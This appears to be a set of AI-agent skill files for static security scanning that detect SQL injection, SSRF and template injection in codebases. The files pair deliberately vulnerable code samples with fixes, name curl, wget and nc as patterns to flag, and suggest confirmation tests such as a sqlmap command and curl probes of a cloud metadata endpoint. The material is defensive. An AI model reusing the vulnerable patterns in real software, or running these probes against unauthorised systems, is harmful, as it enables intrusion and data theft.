// VULNERABLE: string concatenation
function getUser($id) {
$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $id);
return $stmt->fetch();
}
// SECURE: prepared statement
function getUser($id) {
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
return $stmt->fetch();
}
```
### C# — ADO.NET
```csharp
// VULNERABLE: string concatenation
public User GetUser(string username) {
using var cmd = new SqlCommand(
"SELECT * FROM Users WHERE Username = '" + username + "'", conn);
return ReadUser(cmd.ExecuteReader());
}
// SECURE: parameterized command
public User GetUser(string username) {
using var cmd = new SqlCommand(
"SELECT * FROM Users WHERE Username = @username", conn);
cmd.Parameters.AddWithValue("@username", username);
return ReadUser(cmd.ExecuteReader());
}
```
### Dynamic ORDER BY / Column Names (all stacks)
```python
# VULNERABLE: unsanitized user input as column name (parameterization can't help here)
sort_col = request.args.get('sort', 'name')
cursor.execute(f"SELECT * FROM products ORDER BY {sort_col}")
# SECURE: allowlist validation before interpolation
ALLOWED_SORT_COLS = {'name', 'price', 'created_at'}
sort_col = request.args.get('sort', 'name')
if sort_col not in ALLOWED_SORT_COLS:
return abort(400)
cursor.execute(f"SELECT * FROM products ORDER BY {sort_col}")
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find Vulnerable SQL Construction Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where a SQL query is constructed in a vulnerable way — using string concatenation, interpolation, or formatting with any variable (regardless of where that variable comes from). Write results to `sast/sqli-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, database layer, ORM patterns, and query execution methods.
>
> **What to search for — vulnerable query construction patterns**:
>
> Look for SQL query execution calls where the query string argument is built dynamically rather than being a static string with placeholder parameters. Flag ANY dynamic variable embedded into the query — you are not yet tracing whether the variable is user-controlled; that is Phase 2's job.
>
> 1. **String concatenation into a SQL execution call**:
> - `cursor.execute("SELECT ... WHERE id = " + var)`
> - `$pdo->query("SELECT * FROM users WHERE id = " . $var)`
> - `jdbcTemplate.query("SELECT * WHERE username = '" + var + "'")`
>
> 2. **F-strings / template literals used as a query argument**:
> - `cursor.execute(f"SELECT * WHERE name = '{var}'")`
> - `` db.query(`SELECT * WHERE id = ${var}`) ``
> - `db.QueryRow(fmt.Sprintf("SELECT * WHERE id = '%s'", var))`
>
> 3. **String formatting functions used to build the query**:
> - `cursor.execute("SELECT * WHERE id = %s" % var)` (note: `%` formatting, NOT parameterized binding)
> - `cursor.execute("SELECT * WHERE id = {}".format(var))`
> - `String.format("SELECT * WHERE id = '%s'", var)` (Java)
> - `sprintf("SELECT * WHERE id = %s", $var)` (PHP)
>
> 4. **ORM raw/unsafe methods called with a dynamically built string** (not a static template with bound params):
> - Django: `Model.objects.raw(f"...")`, `RawSQL(f"...")`, `extra(where=[f"..."])`
> - ActiveRecord: `where("col = '#{var}'")` (Ruby interpolation inside string arg)
> - Sequelize: `` sequelize.query(`...${var}...`) ``, `literal(var)`
> - TypeORM: `` createQueryBuilder().where(`col = '${var}'`) ``, `.query("..." + var)`
> - Prisma: `$queryRawUnsafe(...)`, `$executeRawUnsafe(...)`
> - Entity Framework: `FromSqlRaw("..." + var)`, `ExecuteSqlRaw("..." + var)`
>
> 5. **Dynamic identifiers** — any variable used as a column name, table name, `ORDER BY` / `GROUP BY` value in a query string (parameterization cannot protect identifiers; only allowlist validation can):
> - `f"SELECT * FROM {table_var}"`
> - `` `SELECT * FROM ${tableVar}` ``
> - `f"SELECT * ORDER BY {sort_col}"`
>
> **What to skip** (these are safe construction patterns — do not flag):
> - Static query strings with no dynamic parts: `cursor.execute("SELECT * FROM users WHERE id = %s", (val,))`
> - ORM safe query builder methods: `.filter()`, `.where(col: val)`, `.findOne()`, `.findUnique()`, `prisma.$queryRaw` with tagged template literals
> - Properly parameterized raw queries where the string itself is static and values are passed as a separate argument list: `execute("SELECT * WHERE id = %s", (val,))`, `query("SELECT * WHERE id = ?", [val])`
>
> **Output format** — write to `sast/sqli-recon.md`:
>
> ```markdown
> # SQLi Recon: [Project Name]
>
> ## Summary
> Found [N] locations where SQL queries are constructed in a vulnerable way.
>
> ## Vulnerable Construction Sites
>
> ### 1. [Descriptive name — e.g., "String concat in get_user query"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Query execution method**: [cursor.execute / db.query / raw / etc.]
> - **Construction pattern**: [string concat / f-string / template literal / % format / .format() / fmt.Sprintf / ORM raw]
> - **Interpolated variable(s)**: `var_name` — [brief note on what it appears to represent, e.g., "looks like a sort column" or "unknown origin"]
> - **Code snippet**:
> ```
> [the vulnerable query construction + execution call]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/sqli-recon.md`. If the recon found **zero vulnerable construction sites** (the summary reports "Found 0" or the "Vulnerable Construction Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/sqli-results.md` and stop:
```markdown
# SQLi Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one vulnerable construction site.
### Phase 2: Trace User Input to Vulnerable Construction Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each vulnerable SQL construction site in `sast/sqli-recon.md`, determine whether a user-supplied value reaches the interpolated variable. Write final results to `sast/sqli-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand request entry points, middleware, and how data flows through the application.
>
> **For each construction site, trace the interpolated variable(s) backwards to their origin**:
>
> 1. **Direct user input** — the variable is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get(...)`, `req.query.x`, `params[:x]`, `$_GET['x']`, `c.Query("x")`
> - Path parameters: `request.path_params['id']`, `req.params.id`, `params[:id]`, `$_GET['id']`
> - Request body / form fields: `request.POST.get(...)`, `req.body.x`, `params[:x]`, `$_POST['x']`
> - HTTP headers: `request.headers.get(...)`, `req.headers['x']`
> - Cookies: `request.COOKIES.get(...)`, `req.cookies.x`
>
> 2. **Indirect user input** — the variable is derived from user input through transformations, function calls, or intermediate assignments. Trace the full chain:
> - Variable assigned from a function return value → check that function's parameter origin
> - Variable passed as a function argument → check the call site(s)
> - Variable read from a class attribute or shared state set elsewhere → find the setter
> - Variable conditionally assigned — check all branches
>
> 3. **Second-order input** — the variable is read from the database, but the stored value originally came from user input:
> - Find where this value was written to the DB — was it stored from a user-supplied field?
> - Was it sanitized or parameterized at write time?
>
> 4. **Server-side / hardcoded value** — the variable comes from config, an environment variable, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each construction site, also check for mitigations that would prevent exploitation even if user input does reach it**:
> - Is the variable validated against an allowlist before use? (Only effective for dynamic identifiers like column/table names)
> - Is there a type cast that constrains the value? (e.g., `int(val)` — effective only in purely numeric SQL contexts)
> - Is there a custom escaping function? Note: custom escaping (`mysql_real_escape_string`, `addslashes`, homegrown sanitizers) is **not** equivalent to parameterization — still flag as Likely Vulnerable
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the interpolated variable with no effective mitigation.
> - **Likely Vulnerable**: User input probably reaches the variable (indirect flow) or only weak mitigation (custom escaping) is present.
> - **Not Vulnerable**: The variable is server-side only, OR effective parameterization / allowlist validation is in place.
> - **Needs Manual Review**: Cannot determine the variable's origin with confidence (passes through opaque helpers, complex conditional flows, or external libraries).
>
> **Output format** — write to `sast/sqli-results.md`:
>
> ```markdown
> # SQLi Analysis Results: [Project Name]
>
> ## Executive Summary
> - Construction sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP query param `username` flows directly into f-string SELECT query"]
> - **Taint trace**: [Step-by-step from entry point to the construction site — e.g., "request.GET.get('username') → username → f"SELECT ... '{username}'""]
> - **Impact**: [What an attacker can do — extract all records, bypass authentication, delete data, etc.]
> - **Remediation**: [Specific fix — parameterized query, ORM equivalent, or allowlist for identifiers]
> - **Dynamic Test**:
> ```
> [sqlmap command or manual curl payload to confirm this finding.
> Show the exact parameter, payload, and what to look for in the response.
> Example: sqlmap -u "https://app.example.com/search?q=test" -p q --dbs]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "Variable likely sourced from user input via helper function" or "Custom escaping applied but bypassable"]
> - **Taint trace**: [Best-effort trace with the uncertain step identified]
> - **Concern**: [Why it's still a risk despite uncertainty]
> - **Remediation**: [Replace with parameterized query]
> - **Dynamic Test**:
> ```
> [payload to attempt bypass]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "Variable is a hardcoded server-side constant" or "Allowlist validation gates the sort column"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the variable's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `build_filter()` in utils.py to check where its return value originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any dynamic variable embedded in a SQL query string, regardless of origin. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the interpolated variable back to its origin. If it comes from a user-controlled source, the site is a real vulnerability.
- Focus on **raw SQL and ORM raw/unsafe methods**. Standard ORM query builder calls (`.filter()`, `.where(col: val)`, `.find()`) are safe by default — do not flag them.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- Taint can flow indirectly: a request parameter may be extracted in a middleware, stored in a shared object, passed through several helper functions, and finally reach the query construction. Trace the full chain.
- Custom escaping (including `mysql_real_escape_string`, `addslashes`, or homegrown sanitizers) is **not** equivalent to parameterization — flag as Likely Vulnerable even if escaping is present.
- For dynamic identifiers (column/table names), parameterization cannot help — the only safe fix is allowlist validation. Flag any dynamic identifier without an allowlist, regardless of whether it appears user-controlled.
- Second-order injection is easy to miss: a value stored in the DB from user input may later be read and used unsafely in a raw query elsewhere in the codebase. In Phase 2, treat DB-read values as potentially tainted and trace back to where they were written.
@@ -0,0 +1,486 @@
---
name: sast-ssrf
description: >-
Detect Server-Side Request Forgery (SSRF) vulnerabilities in a codebase using
a two-phase approach: first find all outbound network call sites (HTTP, TCP,
DNS requests to remote hosts), then trace whether user-supplied input reaches
those call sites. Requires sast/architecture.md (run sast-analysis first).
Outputs findings to sast/ssrf-results.md. Use when asked to find SSRF or
server-side request forgery bugs.
---
# Server-Side Request Forgery (SSRF) Detection
You are performing a focused security assessment to find SSRF vulnerabilities in a codebase. This skill uses a two-phase approach with subagents: **recon** (find all places that make outbound TCP, DNS, or HTTP requests) then **taint** (confirm whether user-supplied input influences those call sites).
**Prerequisites**: `sast/architecture.md` must exist. Run the analysis skill first if it doesn't.
---
## What is SSRF
SSRF occurs when an attacker can cause the server to make outbound network requests to an arbitrary destination — including internal services, cloud metadata endpoints, or other external targets — by supplying or influencing the URL, hostname, IP, or port used in a server-side request.
The core pattern: *unvalidated, user-controlled input reaches the destination argument of an outbound network call.*
### What SSRF IS
- HTTP client calls where the URL or host is built from user input: `requests.get(user_url)`
- Fetching a resource whose location is provided by the client: `fetch(req.body.webhook_url)`
- DNS lookups on a hostname supplied by the user: `dns.lookup(req.query.host)`
- Raw TCP connections to a host/port derived from user input: `socket.connect((user_host, user_port))`
- File-fetching functions used with HTTP/FTP URLs from user input: `file_get_contents($user_url)`
- URL redirectors that forward to a user-supplied destination without validation
- Webhooks, import-from-URL, screenshot services, PDF renderers, image proxies — any feature that fetches a remote resource on behalf of the user
### What SSRF is NOT
Do not flag these:
- **Open redirects**: Redirecting the browser (HTTP 302) to a user-supplied URL — that's a client-side redirect, not a server-side request
- **XSS via URL**: Rendering a user-supplied URL in an `<a>` tag without escaping — that's XSS
- **IDOR**: Accessing another user's data by changing an object ID — separate vulnerability class
- **Hardcoded outbound calls**: HTTP requests to fixed, fully hardcoded URLs with no user influence — not SSRF
### Patterns That Prevent SSRF
When you see these patterns, the code is likely **not vulnerable**:
**1. Strict allowlist of permitted destinations**
```python
ALLOWED_HOSTS = {"api.example.com", "cdn.example.com"}
parsed = urlparse(user_url)
if parsed.hostname not in ALLOWED_HOSTS:
raise ValueError("Destination not allowed")
requests.get(user_url)
```
**2. Allowlist of permitted URL prefixes / schemes**
```python
ALLOWED_PREFIXES = ["https://api.example.com/", "https://cdn.example.com/"]
if not any(user_url.startswith(p) for p in ALLOWED_PREFIXES):
abort(400)
requests.get(user_url)
```
**3. No user influence on the destination**
```python
# Destination fully hardcoded — no user input involved
response = requests.get("https://api.thirdparty.com/data")
```
> **Note**: IP blocklists (blocking 169.254.0.0/16, 10.0.0.0/8, etc.) are **not** sufficient protection — they can be bypassed via DNS rebinding, URL encoding, IPv6 notation, decimal IP representation, or redirect chains. Do not treat a blocklist as making a site safe; classify it as Likely Vulnerable.
---
## Vulnerable vs. Secure Examples
### Python — requests
```python
# VULNERABLE: URL fully controlled by user
@app.route('/fetch')
def fetch():
url = request.args.get('url')
response = requests.get(url)
return response.text
# SECURE: strict allowlist on destination host
ALLOWED = {"api.example.com"}
@app.route('/fetch')
def fetch():
url = request.args.get('url')
if urlparse(url).hostname not in ALLOWED:
abort(403)
response = requests.get(url)
return response.text
```
### Python — urllib
```python
# VULNERABLE: user controls the URL passed to urlopen
def preview(request):
target = request.GET.get('target')
data = urllib.request.urlopen(target).read()
return HttpResponse(data)
# SECURE: only allow https scheme to a hardcoded host
def preview(request):
target = request.GET.get('target')
parsed = urlparse(target)
if parsed.scheme != 'https' or parsed.hostname != 'media.example.com':
return HttpResponse(status=400)
data = urllib.request.urlopen(target).read()
return HttpResponse(data)
```
### Node.js — fetch / axios
```javascript
// VULNERABLE: webhook URL comes directly from request body
app.post('/webhook/test', async (req, res) => {
const { url } = req.body;
const result = await fetch(url);
res.json(await result.json());
});
// SECURE: allowlist check before fetch
const ALLOWED_HOSTS = new Set(['hooks.example.com']);
app.post('/webhook/test', async (req, res) => {
const { url } = req.body;
const { hostname } = new URL(url);
if (!ALLOWED_HOSTS.has(hostname)) return res.status(403).send('Forbidden');
const result = await fetch(url);
res.json(await result.json());
});
```
### Node.js — http.request
```javascript
// VULNERABLE: host and path from query string
app.get('/proxy', (req, res) => {
const { host, path } = req.query;
http.get({ host, path }, (proxyRes) => proxyRes.pipe(res));
});
```
### Ruby on Rails — Net::HTTP / OpenURI
```ruby
# VULNERABLE: open() fetches arbitrary URL
def import
url = params[:url]
content = URI.open(url).read # also triggers for open(url) via Kernel#open
# ...
end
# SECURE: restrict scheme and host
def import
url = params[:url]
uri = URI.parse(url)
raise "Forbidden" unless uri.is_a?(URI::HTTPS) && uri.host == "data.example.com"
content = uri.open.read
# ...
end
```
### PHP — cURL
```php
// VULNERABLE: user-supplied URL piped into curl
function fetch_preview($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
// Called as: fetch_preview($_GET['url'])
// SECURE: validate URL against allowlist before curl
function fetch_preview($url) {
$allowed = ['https://cdn.example.com/'];
foreach ($allowed as $prefix) {
if (strpos($url, $prefix) === 0) {
// ... proceed with curl
}
}
throw new Exception("Destination not allowed");
}
```
### PHP — file_get_contents
```php
// VULNERABLE: file_get_contents with http:// wrapper and user input
$url = $_GET['source'];
$data = file_get_contents($url); // fetches remote URL if scheme is http/https/ftp
```
### Java — Spring / OkHttp
```java
// VULNERABLE: RestTemplate with user-controlled URL
@GetMapping("/proxy")
public ResponseEntity<String> proxy(@RequestParam String url) {
RestTemplate restTemplate = new RestTemplate();
return restTemplate.getForEntity(url, String.class);
}
// VULNERABLE: OkHttp with user-controlled host
public String fetch(String host, String path) {
Request request = new Request.Builder()
.url("https://" + host + path)
.build();
return client.newCall(request).execute().body().string();
}
```
### Go — net/http
```go
// VULNERABLE: user-supplied URL passed to http.Get
func proxyHandler(w http.ResponseWriter, r *http.Request) {
target := r.URL.Query().Get("url")
resp, err := http.Get(target)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
io.Copy(w, resp.Body)
}
// VULNERABLE: user controls host in net.Dial
func dialHandler(w http.ResponseWriter, r *http.Request) {
host := r.URL.Query().Get("host")
port := r.URL.Query().Get("port")
conn, _ := net.Dial("tcp", host+":"+port)
// ...
}
```
### C# — HttpClient
```csharp
// VULNERABLE: user-supplied URL passed to HttpClient
[HttpGet("proxy")]
public async Task<IActionResult> Proxy([FromQuery] string url)
{
var response = await _httpClient.GetAsync(url);
var content = await response.Content.ReadAsStringAsync();
return Content(content);
}
```
---
## Execution
This skill runs in two phases using subagents. Pass the contents of `sast/architecture.md` to both subagents as context.
### Phase 1: Find All Outbound Network Call Sites
Launch a subagent with the following instructions:
> **Goal**: Find every location in the codebase where the application makes an outbound network request — HTTP, HTTPS, FTP, TCP, or DNS — regardless of whether that destination is user-controlled. Write results to `sast/ssrf-recon.md`.
>
> **Context**: You will be given the project's architecture summary. Use it to understand the tech stack, HTTP client libraries in use, and any networking or webhook-related components.
>
> **What to search for — outbound request call sites**:
>
> You are looking for any code that opens a network connection or fetches a remote resource. Flag ANY call where a non-trivially-hardcoded URL, host, or address value is passed as an argument. You are not yet tracing whether that value is user-controlled; that is Phase 2's job.
>
> 1. **Python HTTP clients**:
> - `requests.get(url)`, `requests.post(url)`, `requests.put(url)`, `requests.request(method, url)`, `requests.Session().get(url)`
> - `urllib.request.urlopen(url)`, `urllib2.urlopen(url)`
> - `httpx.get(url)`, `httpx.post(url)`, `httpx.AsyncClient().get(url)`
> - `aiohttp.ClientSession().get(url)`, `aiohttp.ClientSession().post(url)`
>
> 2. **Python socket / DNS**:
> - `socket.connect((host, port))`, `socket.create_connection((host, port))`
> - `dns.resolver.resolve(name)`, `socket.getaddrinfo(host, ...)`
>
> 3. **Python file-fetching with remote schemes**:
> - `urllib.request.urlopen(url)` where url may be http/https/ftp
> - `open(url)` via `from urllib.request import urlopen` or similar (flag if url may be remote)
>
> 4. **Node.js / JavaScript HTTP clients**:
> - `fetch(url)`, `node-fetch(url)`
> - `axios.get(url)`, `axios.post(url)`, `axios.request({url})`
> - `http.get(url)`, `https.get(url)`, `http.request(options)`, `https.request(options)`
> - `got(url)`, `superagent.get(url)`, `needle.get(url)`, `undici.request(url)`
> - `require('request')(options)`
>
> 5. **Node.js socket / DNS**:
> - `net.createConnection({host, port})`, `net.connect(port, host)`
> - `dns.lookup(hostname, ...)`, `dns.resolve(hostname, ...)`, `dns.resolve4(hostname)`
>
> 6. **Ruby HTTP clients**:
> - `Net::HTTP.get(uri)`, `Net::HTTP.start(host, ...)`, `Net::HTTP.get_response(url)`
> - `URI.open(url)`, `open(url)` (Kernel#open / OpenURI)
> - `RestClient.get(url)`, `RestClient::Resource.new(url)`
> - `Faraday.new(url).get(path)`, `HTTParty.get(url)`
> - `Typhoeus::Request.new(url)`
>
> 7. **PHP HTTP clients and file functions**:
> - `curl_setopt($ch, CURLOPT_URL, $url)` followed by `curl_exec($ch)`
> - `file_get_contents($url)` — flag when `$url` may be an http/https/ftp URL
> - `fopen($url, 'r')` with a remote URL scheme
> - `Guzzle`: `$client->request('GET', $url)`, `$client->get($url)`
> - `Symfony HttpClient`: `$client->request('GET', $url)`
>
> 8. **Java HTTP clients**:
> - `new URL(url).openConnection()`, `new URL(url).openStream()`
> - `HttpURLConnection` / `HttpsURLConnection` with a dynamic URL
> - `OkHttpClient().newCall(new Request.Builder().url(url)...)`
> - `RestTemplate.getForObject(url, ...)`, `RestTemplate.getForEntity(url, ...)`
> - `WebClient.get().uri(url)`, `WebClient.create(url)`
> - `Apache HttpClient`: `httpClient.execute(new HttpGet(url))`
>
> 9. **Go HTTP clients and network dials**:
> - `http.Get(url)`, `http.Post(url, ...)`, `http.NewRequest("GET", url, ...)`
> - `net.Dial("tcp", addr)`, `net.DialTCP(...)`, `net.DialTimeout("tcp", addr, ...)`
> - `net.LookupHost(hostname)`, `net.LookupAddr(addr)`, `net.ResolveIPAddr(...)`
> - `net.ResolveTCPAddr("tcp", addr)`
>
> 10. **C# / .NET HTTP clients**:
> - `HttpClient.GetAsync(url)`, `HttpClient.PostAsync(url, ...)`, `HttpClient.SendAsync(request)`
> - `WebRequest.Create(url)`, `WebClient.DownloadString(url)`, `WebClient.DownloadData(url)`
> - `HttpWebRequest` with a dynamic URL
>
> 11. **Shell-out to network tools** (via subprocess, exec, system, etc.):
> - `subprocess.run(["curl", url, ...])`, `subprocess.Popen(["wget", url, ...])`
> - `os.system("curl " + url)`, `exec("wget " + url)`
> - Any `curl`, `wget`, `nc`, `ncat`, `nmap` invocation where the target is a variable
>
> **What to skip** (these are safe — do not flag):
> - Calls where the entire URL and hostname are fully hardcoded string literals with no dynamic parts: `requests.get("https://api.example.com/data")`
> - Internal loopback connections to `localhost` or `127.0.0.1` that are clearly part of service-to-service architecture (e.g., connecting to a local queue) — flag these if the address is dynamic
>
> **Output format** — write to `sast/ssrf-recon.md`:
>
> ```markdown
> # SSRF Recon: [Project Name]
>
> ## Summary
> Found [N] outbound network call sites.
>
> ## Outbound Call Sites
>
> ### 1. [Descriptive name — e.g., "HTTP GET in webhook dispatcher"]
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Function / endpoint**: [function name or route]
> - **Call type**: [HTTP GET / HTTP POST / TCP dial / DNS lookup / subprocess curl / etc.]
> - **Library / method**: [requests.get / fetch / http.Get / curl_exec / etc.]
> - **Destination argument**: `var_name` or `url_expression` — [brief note, e.g., "assembled from query param" or "partially hardcoded path with variable host"]
> - **Code snippet**:
> ```
> [the outbound call and the lines immediately before it that construct the destination]
> ```
>
> [Repeat for each site]
> ```
### After Phase 1: Check for Candidates Before Proceeding
After Phase 1 completes, read `sast/ssrf-recon.md`. If the recon found **zero outbound call sites** (the summary reports "Found 0" or the "Outbound Call Sites" section is empty or absent), **skip Phase 2 entirely**. Instead, write the following content to `sast/ssrf-results.md` and stop:
```markdown
# SSRF Analysis Results
No vulnerabilities found.
```
Only proceed to Phase 2 if Phase 1 found at least one outbound call site.
### Phase 2: Trace User Input to Outbound Call Sites
Launch a second subagent **after Phase 1 completes** with the following instructions:
> **Goal**: For each outbound network call site in `sast/ssrf-recon.md`, determine whether a user-supplied value controls or influences the destination (URL, host, path, port, or scheme). Write final results to `sast/ssrf-results.md`.
>
> **Context**: You will be given the project's architecture summary and the Phase 1 recon output. Use the architecture to understand entry points, middleware, and how data flows through the application.
>
> **For each outbound call site, trace the destination argument(s) backwards to their origin**:
>
> 1. **Direct user input** — the destination is assigned directly from a request source with no transformation:
> - HTTP query params: `request.GET.get('url')`, `req.query.url`, `params[:url]`, `$_GET['url']`, `c.Query("url")`
> - Request body / JSON fields: `request.json['webhook_url']`, `req.body.target`, `params[:source]`
> - Path parameters: `req.params.host`, `params[:endpoint]`
> - HTTP headers: `request.headers.get('X-Forwarded-For')`, `req.headers['destination']`
> - Cookies: `req.cookies.redirect_url`
>
> 2. **Indirect / assembled destination** — the URL is built by concatenating a hardcoded prefix with a user-supplied suffix or path:
> - `"https://example.com/" + user_path` — may still be exploitable via path traversal or scheme injection depending on the HTTP client
> - `base_url + user_query` — user controls the query string, potentially injectable
> - Flag these as Likely Vulnerable and note which portion is user-controlled
>
> 3. **User input stored and later fetched** — the destination was previously saved from user input (e.g., a stored webhook URL) and is now retrieved from the database to make a request:
> - Find where the stored value was written — was it accepted from user input without allowlist validation at write time?
> - Was any validation applied at read time before the request?
>
> 4. **Server-side / hardcoded value** — the destination comes from config, an environment variable, a hardcoded constant, or server-side logic with no user influence — this site is NOT exploitable.
>
> **For each call site, also check for mitigations**:
> - **Strict allowlist of hosts/prefixes**: A hardcoded set of permitted hostnames or URL prefixes that the destination is validated against before the request is made — this is an effective mitigation. Mark as Not Vulnerable.
> - **Scheme-only restriction** (e.g., only allow `https://`): Partial mitigation — reduces impact but does not prevent SSRF to arbitrary HTTPS hosts. Still flag as Likely Vulnerable.
> - **Blocklist of private IP ranges / metadata endpoints**: `169.254.169.254`, `10.0.0.0/8`, `192.168.0.0/16`, etc. — **not** sufficient. Bypassable via DNS rebinding, alternate IP representations, and redirect chains. Flag as Likely Vulnerable.
> - **DNS resolution + IP check** (resolve hostname first, then check resolved IP against blocklist): Stronger than a pure blocklist, but still susceptible to DNS rebinding between the check and the request (TOCTOU). Flag as Likely Vulnerable unless the same resolved IP is explicitly pinned for the request.
>
> **Classification**:
> - **Vulnerable**: User input demonstrably reaches the outbound request destination with no effective mitigation (no allowlist or only a blocklist/scheme check).
> - **Likely Vulnerable**: User input probably reaches the destination (indirect flow or partial construction), or only weak mitigation is present (blocklist, scheme-only check, partial URL prefix).
> - **Not Vulnerable**: The destination is fully server-side, OR a strict host/prefix allowlist is enforced before the request.
> - **Needs Manual Review**: Cannot determine the destination's origin with confidence (opaque helpers, complex conditional flows, or external libraries that resolve the URL).
>
> **Output format** — write to `sast/ssrf-results.md`:
>
> ```markdown
> # SSRF Analysis Results: [Project Name]
>
> ## Executive Summary
> - Outbound call sites analyzed: [N]
> - Vulnerable: [N]
> - Likely Vulnerable: [N]
> - Not Vulnerable: [N]
> - Needs Manual Review: [N]
>
> ## Findings
>
> ### [VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "HTTP query param `url` flows directly into requests.get()"]
> - **Taint trace**: [Step-by-step from entry point to the call site — e.g., "request.args.get('url') → target_url → requests.get(target_url)"]
> - **Impact**: [What an attacker can do — access cloud metadata at 169.254.169.254, pivot to internal services, port scan the internal network, exfiltrate data, bypass firewalls, etc.]
> - **Mitigation present**: [None / Blocklist only / Scheme check only — explain why it's insufficient]
> - **Remediation**: [Strict host allowlist, or remove user control over destination entirely]
> - **Dynamic Test**:
> ```
> [curl command or payload to confirm the finding.
> Show the parameter, payload, and what to look for.
> Example: curl "https://app.example.com/fetch?url=http://169.254.169.254/latest/meta-data/"
> or for internal pivot: curl "https://app.example.com/fetch?url=http://internal-db:5432/"]
> ```
>
> ### [LIKELY VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Issue**: [e.g., "User controls the path portion of a partially hardcoded URL" or "Stored webhook URL accepted without allowlist at write time"]
> - **Taint trace**: [Best-effort trace with the uncertain or partial-control step identified]
> - **Concern**: [Why it's still a risk — e.g., "Attacker may be able to redirect to an internal host via path traversal" or "Blocklist is bypassable via DNS rebinding"]
> - **Remediation**: [Strict allowlist or remove user control]
> - **Dynamic Test**:
> ```
> [payload to attempt — e.g., path traversal or DNS rebinding scenario]
> ```
>
> ### [NOT VULNERABLE] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Reason**: [e.g., "URL is fully hardcoded" or "Strict host allowlist enforced before request"]
>
> ### [NEEDS MANUAL REVIEW] Descriptive name
> - **File**: `path/to/file.ext` (lines X-Y)
> - **Endpoint / function**: [route or function name]
> - **Uncertainty**: [Why the destination's origin could not be determined]
> - **Suggestion**: [What to trace manually — e.g., "Follow `resolve_target()` in helpers.py to check where the URL originates"]
> ```
---
## Important Reminders
- Read `sast/architecture.md` and pass its content to both subagents as context.
- Phase 2 must run AFTER Phase 1 completes — it depends on the recon output.
- **Phase 1 is purely structural**: flag any call site where the destination argument is dynamic (a variable, expression, or assembled string), regardless of whether user input flows there. Do not attempt to trace user input in Phase 1 — that is Phase 2's job.
- **Phase 2 is purely taint analysis**: for each site found in Phase 1, trace the destination argument back to its origin. If it comes from a user-controlled source without an effective allowlist, the site is a real vulnerability.
- **Blocklists are not mitigations**: IP blocklists for private ranges and cloud metadata endpoints are easily bypassed. Always classify such sites as Vulnerable or Likely Vulnerable, not as safe.
- **Partial URL control is still dangerous**: even if the attacker only controls the path or query string portion of the URL, flag it as Likely Vulnerable — depending on the HTTP client behavior, redirect following, and target service, partial control can be enough.
- **Stored destinations are tainted**: if a URL or hostname was accepted from user input at write time and is later used for an outbound request, trace the write-time acceptance. Lack of allowlist validation at write time makes it SSRF.
- **Subprocess curl/wget is SSRF too**: shell-outs that run `curl` or `wget` with a user-supplied URL are just as dangerous as HTTP client calls. Check for these, especially in image-processing, import, or download features.
- When in doubt, classify as "Needs Manual Review" rather than "Not Vulnerable". False negatives are worse than false positives in security assessment.
- DNS rebinding note: for findings where only a DNS-resolution-then-blocklist check is present, note the TOCTOU window explicitly in the finding — this is a known bypass technique.
@@ -0,0 +1,557 @@
---
name: sast-ssti
description: >-
Detect Server-Side Template Injection (SSTI) vulnerabilities in a codebase
using a two-phase approach: first find all template rendering sites where
user-supplied input is used as the template string itself (not as context
data), then trace whether user-supplied input actually reaches those sites.
Requires sast/architecture.md (run sast-analysis first). Outputs findings to
sast/ssti-results.md. Use when asked to find SSTI or template injection bugs.
---
# Server-Side Template Injection (SSTI) Detection
